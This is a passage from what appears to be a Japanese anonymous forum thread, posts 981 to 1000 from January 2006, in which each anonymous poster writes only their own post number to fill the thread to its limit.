981 :名無し名人:2006/01/06(金) 18:02:58 ID:ndAIfQtb
981

982 :名無し名人:2006/01/06(金) 18:03:23 ID:5czfATm1
982

983 :名無し名人:2006/01/06(金) 18:03:54 ID:VKgj9s69
983

984 :名無し名人:2006/01/06(金) 18:04:18 ID:4YxJJk2b
984

985 :名無し名人:2006/01/06(金) 18:04:41 ID:8E/v30w6
985

986 :名無し名人:2006/01/06(金) 18:05:04 ID:nnauASES
986

987 :名無し名人:2006/01/06(金) 18:05:30 ID:Gs+7ZcRL
987

988 :名無し名人:2006/01/06(金) 18:05:52 ID:fpL8MC26
988

989 :名無し名人:2006/01/06(金) 18:06:48 ID:jqjpodDI
989

990 :名無し名人:2006/01/06(金) 18:07:12 ID:fozA4fdp
990

991 :名無し名人:2006/01/06(金) 18:07:38 ID:umnaf/2/
991

992 :名無し名人:2006/01/06(金) 18:08:00 ID:2ZNXb+h0
992

993 :名無し名人:2006/01/06(金) 18:08:26 ID:ivrEhHpp
993

994 :名無し名人:2006/01/06(金) 18:08:50 ID:ViozDBV9
994

995 :名無し名人:2006/01/06(金) 18:09:15 ID:XOeiLAi1
995

996 :名無し名人:2006/01/06(金) 18:09:43 ID:AHPUZTqV
996

997 :名無し名人:2006/01/06(金) 18:10:06 ID:iFyJZfr4
997

998 :名無し名人:2006/01/06(金) 18:10:28 ID:KeZRZSid
998

999 :名無し名人:2006/01/06(金) 18:10:55 ID:QenqSB5e
999

1000 :名無し名人:2006/01/06(金) 18:11:19 ID:N6KIa744
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